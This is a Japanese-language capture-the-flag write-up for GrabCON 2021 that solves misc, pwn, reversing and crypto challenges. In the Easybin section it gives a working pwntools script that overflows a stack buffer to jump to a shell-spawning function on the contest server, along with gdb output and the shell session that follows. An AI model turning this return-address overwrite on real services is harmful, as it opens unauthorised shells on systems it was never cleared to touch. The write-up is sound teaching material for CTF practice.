この大会は2021/9/4 19:30(JST)~2021/9/5 19:30(JST)に開催されました。
今回もチームで参戦。結果は 1750点で612チーム中61位でした。
自分で解けた問題をWriteupとして書いておきます。
Welcome (MIsc)
問題にフラグが書いてあった。
GrabCON{welcome_to_grabcon_2021}
Discord (Misc)
Discordに入り、#roleチャネルのトピックを見ると、フラグが書いてあった。
GrabCON{s@n1ty_fl4g_1s_here}
Easybin (Pwn)
Ghidraでデコンパイルする。
undefined8 main(void) { char local_38 [48]; gets(local_38); printf("well lets check if you can bypass me!!!"); return 0; } undefined8 vuln(void) { execve("/bin/sh",(char **)0x0,(char **)0x0); return 0; }
BOFでvoln関数を呼び出せばよい。
$ file easybin easybin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=53862d3819c737c91f51fca860359fa1fab716c7, for GNU/Linux 4.4.0, not stripped $ gdb -q ./easybin BFD: warning: /mnt/hgfs/Shared/easybin: unsupported GNU_PROPERTY_TYPE (5) type: 0xc0008002 BFD: warning: /mnt/hgfs/Shared/easybin: unsupported GNU_PROPERTY_TYPE (5) type: 0xc0010001 BFD: warning: /mnt/hgfs/Shared/easybin: unsupported GNU_PROPERTY_TYPE (5) type: 0xc0010002 Reading symbols from ./easybin...(no debugging symbols found)...done. gdb-peda$ pattc 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ r Starting program: /mnt/hgfs/Shared/easybin AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x0 RDX: 0x0 RSI: 0x405670 ("well lets check if you can bypass me!!!") RDI: 0x405697 --> 0x0 RBP: 0x4147414131414162 ('bAA1AAGA') RSP: 0x7fffffffde58 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") RIP: 0x40119d (<main+51>: ret) R8 : 0x0 R9 : 0x0 R10: 0x405010 --> 0x0 R11: 0x0 R12: 0x401060 (<_start>: endbr64) R13: 0x7fffffffdf30 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x401192 <main+40>: call 0x401030 <printf@plt> 0x401197 <main+45>: mov eax,0x0 0x40119c <main+50>: leave => 0x40119d <main+51>: ret 0x40119e: xchg ax,ax 0x4011a0 <__libc_csu_init>: endbr64 0x4011a4 <__libc_csu_init+4>: push r15 0x4011a6 <__libc_csu_init+6>: lea r15,[rip+0x2c53] # 0x403e00 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffde58 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0008| 0x7fffffffde60 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0016| 0x7fffffffde68 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0024| 0x7fffffffde70 ("AJAAfAA5AAKAAgAA6AAL") 0032| 0x7fffffffde78 ("AAKAAgAA6AAL") 0040| 0x7fffffffde80 --> 0x4c414136 ('6AAL') 0048| 0x7fffffffde88 --> 0x77534f1f44bf2ca0 0056| 0x7fffffffde90 --> 0x401060 (<_start>: endbr64) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x000000000040119d in main () gdb-peda$ patto AcAA AcAA found at offset: 56 gdb-peda$ p &vuln $1 = (<text variable, no debug info> *) 0x401146 <vuln>
任意の56バイトの後にvuln関数のアドレス(0x401146)を64バイト文字列にしたものを指定すればよい。
from pwn import * if len(sys.argv) == 1: p = remote('35.205.161.145', 49153) else: p = process('./easybin') payload = 'A' * 56 payload += p64(0x401146) print payload data = p.sendline(payload) p.interactive()
実行結果は以下の通り。
[+] Opening connection to 35.205.161.145 on port 49153: Done AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF\x11\x00\x00\x00 [*] Switching to interactive mode $ ls easybin flag.txt run.sh ynetd $ cat flag.txt GrabCON{w3ll_Y0u_Kn0w_Basics!!!}
GrabCON{w3ll_Y0u_Kn0w_Basics!!!}
Easy Rev (Reversing)
Ghidraでデコンパイルする。
undefined8 FUN_00101277(void) { long in_FS_OFFSET; int local_20; undefined4 local_1c; undefined4 local_18; int local_14; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_1c = 0x1466c7; local_18 = 0xdeb9d828; local_14 = 0x140685; puts("Looking for the flag?"); printf("Enter the key: "); __isoc99_scanf(&DAT_0010202f,&local_20); if (local_14 == local_20) { FUN_001011a9(); } else { puts("Wrong! Try Again ..."); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
0x140685と数値として比較しているだけ。0x140685は10進数にすると、1312389になるので、これを指定すればよい。
$ ./baby_re_2 Looking for the flag? Enter the key: 1312389 GrabCON{y0u_g0t_it_8bb31}
GrabCON{y0u_g0t_it_8bb31}
Warm-up (Crypto)
問題文より、base64デコード、base32デコードを5回行えばよい。
from base64 import * with open('mukesh.txt', 'r') as f: data = f.read().rstrip() for i in range(5): data = b64decode(data) data = b32decode(data) print data
GrabCON{dayuum_s0n!}
Poke Ball RSA (Crypto)
eが大きいので、Wiener attackで復号する。
from fractions import Fraction from Crypto.Util.number import * def egcd(a, b): x,y, u,v = 0,1, 1,0 while a != 0: q, r = b//a, b%a m, n = x-u*q, y-v*q b,a, x,y, u,v = a,r, u,v, m,n gcd = b return gcd, x, y def decrypt(p, q, e, c): n = p * q phi = (p - 1) * (q - 1) gcd, a, b = egcd(e, phi) d = a pt = pow(c, d, n) return long_to_bytes(pt) def continued_fractions(n,e): cf = [0] while e != 0: cf.append(int(n/e)) N = n n = e e = N%e return cf def calcKD(cf): kd = list() for i in range(1,len(cf)+1): tmp = Fraction(0) for j in cf[1:i][::-1]: tmp = 1/(tmp+j) kd.append((tmp.numerator,tmp.denominator)) return kd def int_sqrt(n): def f(prev): while True: m = (prev + n/prev)/2 if m >= prev: return prev prev = m return f(n) def calcPQ(a,b): if a*a < 4*b or a < 0: return None c = int_sqrt(a*a-4*b) p = (a + c) /2 q = (a - c) /2 if p + q == a and p * q == b: return (p,q) else: return None def wiener(n,e): kd = calcKD(continued_fractions(n,e)) for (k,d) in kd: if k == 0: continue if (e*d-1) % k != 0: continue phin = (e*d-1) / k if phin >= n: continue ans = calcPQ(n-phin+1,n) if ans is None: continue return (ans[0],ans[1]) n = 498934084350094415783044823223130007435556803301613073259727203199325937230080661117917023582579699673759861892703348357714077684549303787581429366922208568924252052118455313229534699860304480039147103608782140303489222166267907007839021544433148286217133494762766492655602977085105487216032806292874190551319 e = 134901827939710543990222584187396847806193644190423846456160711527109836908087675183249532946675670587286594441908191054495871501233678465783530503352727362726294270065122447852357566161748618195216611965946646411519602447104878893524856862722902833460104389620397589021732407447981724307130484482495521398799 c = 100132888193232309251839777842498074992587507373917163874335385921940537055226546911990198769720313749286675018486390873216490470403470144298153410686092752282228631590006943913867497072931343354481759219425807850047083814816718302223434388744485547550941814186146959750515114700335721173624212499886218608818 p, q = wiener(n, e) flag = decrypt(p, q, e, c) print flag
復号結果は以下の通り。
e=2,c=9019127052844164572606928250741960583163943438936945828390420331200602392329
さらに暗号の問題になっている。cの値の平方根をとり、文字列に変換する。
import sympy from Crypto.Util.number import * c = 9019127052844164572606928250741960583163943438936945828390420331200602392329 m = sympy.sqrt(c) flag = long_to_bytes(m) print flag
GrabCON{*1}
Old Monk's Password (Crypto)
暗号の1文字目のASCIIコードがiになるので、それを元に復号する。
#!/usr/bin/python3 enc = b'\x0cYUV\x02\x13\x16\x1a\x01\x04\x05C\x00\twcx|z(((%.)=K%(>' x = "hjlgyjgyj10hadanvbwdmkw00OUONBADANKHM;IMMBMZCNihaillm" i = enc[0] dec = '' for c in enc[1:]: dec += chr(c ^ ord(x[i])) i = (i + 1) % 79 flag = 'GrabCON{%s}' % dec print(flag)
GrabCON{817letmein40986728ilikeapples}
The Ancient Temple (Crypto)
暗号処理の概要は以下の通り。
・M = 7777771 ・s = [] ・l = 1337 ・C = [] ・n = [] ・k: フラグの各文字の2進数の配列の配列 ・s = [203, 877, 4140, 21147, 115975, 678570, 4213597] ・n = [(l * s[0]) % M, (l * s[1]) % M, ..., (l * s[6]) % M] ・kの各pについて、ビットが立っているところの対応するsを足し、Cに追加する。 ・M, s, l, Cを出力
Merkle-Hellmanナップサック暗号のようになっているが、公開鍵が超増加列になっていない。各文字7bitで対応する暗号ができているので、ブルートフォースで復号する。
import itertools with open('gen.txt', 'r') as f: M = int(f.readline().rstrip().split(' = ')[-1]) s = eval(f.readline().rstrip().split(' = ')[-1]) l = int(f.readline().rstrip().split(' = ')[-1]) C = eval(f.readline().rstrip().split(' = ')[-1]) n = [] for i in range(len(s)): ni = (l * s[i]) % M n.append(ni) flag = '' for i in range(len(C)): for code in range(32, 127): p = map(int, list(bin(code)[2:].zfill(7))) C_curr = [] for (x, y) in zip(p, n): C_curr.append(x * y) if sum(C_curr) == C[i]: flag += chr(code) break print flag
GrabCON{kn4ps4ck_h45_g07_y0ur_baCK}
*1:^_^